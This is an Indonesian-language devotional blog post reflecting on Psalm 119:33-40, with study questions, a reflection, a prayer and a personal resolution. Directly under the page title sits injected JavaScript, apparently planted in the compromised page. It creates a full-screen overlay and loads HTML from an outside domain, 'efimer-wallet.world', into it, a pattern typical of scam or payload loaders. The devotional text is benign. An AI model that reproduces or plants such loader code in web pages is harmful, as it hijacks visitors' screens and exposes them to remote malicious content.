KUPERLU FIRMAN-MU TUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Selasa, 05 September 2023

Mazmur 119 : 33 – 40

Pengantar

Apakah yang saudara alami atau rasakan jika seharian belum mengisi perut anda dengan suatu makanan? Seperti tubuh kita yang akan merasa lapar ketika belum terisi makanan, begitu juga yang dialami oleh penulis Mazmur 119:33-40, ia sangat memerlukan makanan rohani. Apakah yang dimaksud makanan rohani menurut Pemazmur dan bagaimana sikapnya? Mari kita renungkan.

Pemahaman

Ayat 33-39 : Apa yang diminta Pemazmur kepada Allah untuk memuaskan rasa lapar rohaninya?

Ayat 40       : Mengapa Pemazmur meminta hal tersebut?

Dalam Mazmur 119:33-40 ini kita melihat begitu besar kerinduan Pemazmur untuk mengerti dan memahami Firman Tuhan. Bagi Pemazmur Taurat atau Firman Tuhan seperti makanan yang akan mengenyangkan rasa lapar rohaninya. Ungkapan Pemazmur dalam ayat 33-39 seperti memegang sampai akhir.., memelihara dengan segenap hati.., menurut petunjuk.., condongkanlah hatiku.. , lalukanlah… mataku, teguhkanlah…, lalukanlah celaku.. , menunjukkan bahwa bagi Pemazmur Taurat Tuhan sangat penting dalam hidupnya. Pemazmur meyakini bahwa Taurat Tuhan akan menuntunnya di jalan-jalan kehidupan yang harus ditempuh, sehingga dapat menikmati kebaikan dan keadilan Tuhan, yang membawanya kepada keselamatan seperti yang terungkap pada ayat 40, “Sesunguhnya aku rindu titah-titah- Mu, hidupkanlah aku dengan keadilan-Mu!”. Dalam Mazmur 119 ayat 33-40, tampak sangatlah penting bagi pemazmur untuk belajar meminta dan bergantung kepada Tuhan untuk

mengajarkan ketetapan- ketetapan- Nya dan kemudian mengikutinya.

Melalui bacaan ini, kita diingatkan kembali untuk menghayati bahwa Firman Tuhan adalah petunjuk kehidupan bagi setiap orang percaya. Oleh karena itu kita perlu membuka diri untuk mendengarkan Firman Tuhan, menyukainya dan memeliharanya di dalam kehidupan kita, sehingga kita dapat menikmati setiap kebaikan Tuhan. Hendaknya kita tetap berpegang pada Firman Tuhan sampai akhir hidup kita agar keselamatan itu menjadi milik kita. Kita terus memohon dan merendahkan diri di hadapan Allah seperti Pemazmur agar kita bisa merasakan bahwa Allah sendiri yang berbicara kepada kita ketika membaca Alkitab atau Firman Allah yang hidup.

Refleksi                                                                 

Bagaimana dengan kita saat ini? Adakah kerinduan dalam hati kita untuk membaca Alkitab seperti Pemazmur? Sudahkan kita memberikan waktu khusus untuk membaca Firman Tuhan, mempelajari, memahami dan merenungkan apa yang disampaikan Allah melalui Alkitab yang kita baca? Maukah kita belajar meminta dan bergantung kepada Tuhan untuk mengajarkan Firman-Nya dan mengikutinya?

Tekadku                                                                

Doaku: Ya Tuhan, ampuni hambamu yang belum memberikan waktu khusus untuk membaca Alkitab karena kesibukan-kesibukan duniawi. Bimbing dan tuntun hamba-MU dengan Roh Kudus agar selalu memiliki kerinduan untuk membaca Firman-MU. Amin

Tindakanku                                                           

Saya akan menyiapkan dan memberikan waktu untuk membaca Alkitab dan bersaat teduh.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *